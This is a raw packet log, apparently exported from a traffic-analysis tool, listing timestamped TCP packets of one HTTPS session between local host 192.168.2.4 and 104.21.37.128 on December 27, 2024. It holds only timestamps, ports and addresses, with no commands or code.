Dec 27, 2024 20:17:58.728452921 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.728488922 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.889444113 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.889465094 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.889602900 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.889620066 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.889720917 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.896668911 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.896693945 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.896795988 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.896811008 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.896847963 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.903064966 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.903080940 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.903146029 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.903156042 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.903192043 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.910517931 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.910535097 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.910602093 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.910607100 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.910639048 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.917891026 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.917907000 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.917969942 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.917974949 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.918006897 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.924237967 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.924252987 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.924310923 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.924316883 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.924359083 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.931734085 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.931749105 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.931799889 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.931806087 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.931843042 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.938852072 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.938867092 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.938927889 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.938932896 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.938970089 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.100164890 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.100182056 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.100342035 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.100351095 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.100394964 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.106556892 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.106571913 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.106642008 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.106650114 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.106690884 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.114147902 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.114162922 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.114237070 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.114243031 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.114280939 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.121887922 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.121906042 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.121959925 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.121964931 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.122000933 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.128253937 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.128269911 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.128309011 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.128315926 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.128340960 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.128359079 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.135833979 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.135854959 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.135905981 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.135912895 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.135942936 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.135961056 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.142235994 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.142254114 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.142307997 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.142314911 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.142345905 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.142355919 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.150388956 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.150409937 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.150450945 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.150458097 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.150475979 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.150495052 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.311218023 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.311244011 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.311371088 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.311371088 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.311384916 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.311422110 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.317585945 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.317610979 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.317708969 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.317718029 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.317763090 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.324908972 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.324925900 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.324992895 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.325001955 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.325042009 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.332073927 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.332091093 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.332140923 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.332155943 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.332190990 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.336267948 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.336297989 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.336329937 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.336339951 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.336376905 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.343683958 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.343702078 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.343776941 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.343790054 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.343831062 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.350864887 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.350882053 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.350931883 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.350939035 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.350974083 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.357384920 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.357402086 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.357470036 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.357479095 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.357516050 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.365103006 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.365119934 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.365184069 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.365191936 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.365233898 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.526125908 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.526148081 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.526233912 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.526257992 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.526295900 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.533425093 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.533447027 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.533485889 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.533493996 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.533534050 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.540528059 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.540543079 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.540591002 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.540599108 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.540627956 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.540643930 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.546724081 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.546737909 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.546780109 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.546787024 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.546825886 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.554090977 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.554106951 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.554162979 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.554172039 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.554209948 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.561604023 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.561619043 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.561700106 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.561713934 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.561748028 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.568877935 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.568891048 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.568967104 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.568974972 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.569014072 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.575687885 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.575707912 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.575779915 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.575789928 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.575826883 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.736960888 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.736977100 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.737041950 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.737052917 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.737091064 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.743628025 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.743643045 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.743683100 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.743689060 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.743717909 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.743736982 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.751260042 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.751274109 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.751322031 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.751327991 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.751365900 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.758356094 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.758375883 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.758413076 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.758419991 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.758445978 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.758465052 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.764985085 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.764998913 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.765065908 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.765072107 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.765108109 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.772208929 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.772223949 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.772289038 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.772296906 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.772337914 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.779603004 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.779617071 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.779664040 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.779668093 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.779700994 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.941929102 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.941948891 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.942123890 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.942132950 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.942173004 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.948419094 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.948435068 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.948513985 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.948520899 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.948558092 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.955450058 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.955463886 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.955534935 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.955540895 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.955576897 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.962475061 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.962488890 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.962553978 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.962559938 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.962596893 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.969760895 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.969774961 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.969841957 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.969847918 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.969885111 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.976001978 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.976016045 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.976082087 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.976089001 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.976133108 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.983441114 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.983455896 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.983520985 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.983527899 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.983566999 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.990900040 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.990917921 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.990978956 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:59.990984917 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:59.991027117 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.152214050 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.152230024 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.152314901 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.152324915 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.152364969 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.157676935 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.157692909 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.157761097 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.157767057 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.157807112 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.165149927 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.165164948 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.165229082 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.165235996 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.165276051 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.172219992 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.172235012 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.172301054 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.172306061 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.172343016 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.179558992 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.179574013 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.179646015 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.179652929 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.179694891 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.185992956 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.186021090 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.186069965 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.186079025 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.186108112 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.186116934 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.193451881 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.193465948 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.193532944 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.193537951 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.193577051 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.200577021 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.200592995 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.200664043 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.200673103 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.200709105 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.362761021 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.362780094 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.362946987 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.362972975 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.363164902 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.368613958 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.368644953 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.368680954 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.368688107 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.368720055 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.368732929 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.375936985 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.375951052 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.376017094 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.376022100 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.378205061 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.382927895 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.382942915 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.383001089 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.383009911 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.384159088 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.390161991 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.390175104 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.390233994 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.390240908 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.396166086 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.396595001 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.396609068 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.396671057 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.396677017 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.399174929 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.403924942 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.403939962 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.404006958 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.404015064 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.408181906 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.411349058 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.411364079 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.411423922 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.411432028 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.414196014 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.573292017 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.573312044 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.573400021 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.573417902 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.576153994 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:18:00.578979969 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.578994989 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:18:00.579057932 CET	49746	443	192.168.2.4	104.21.37.128
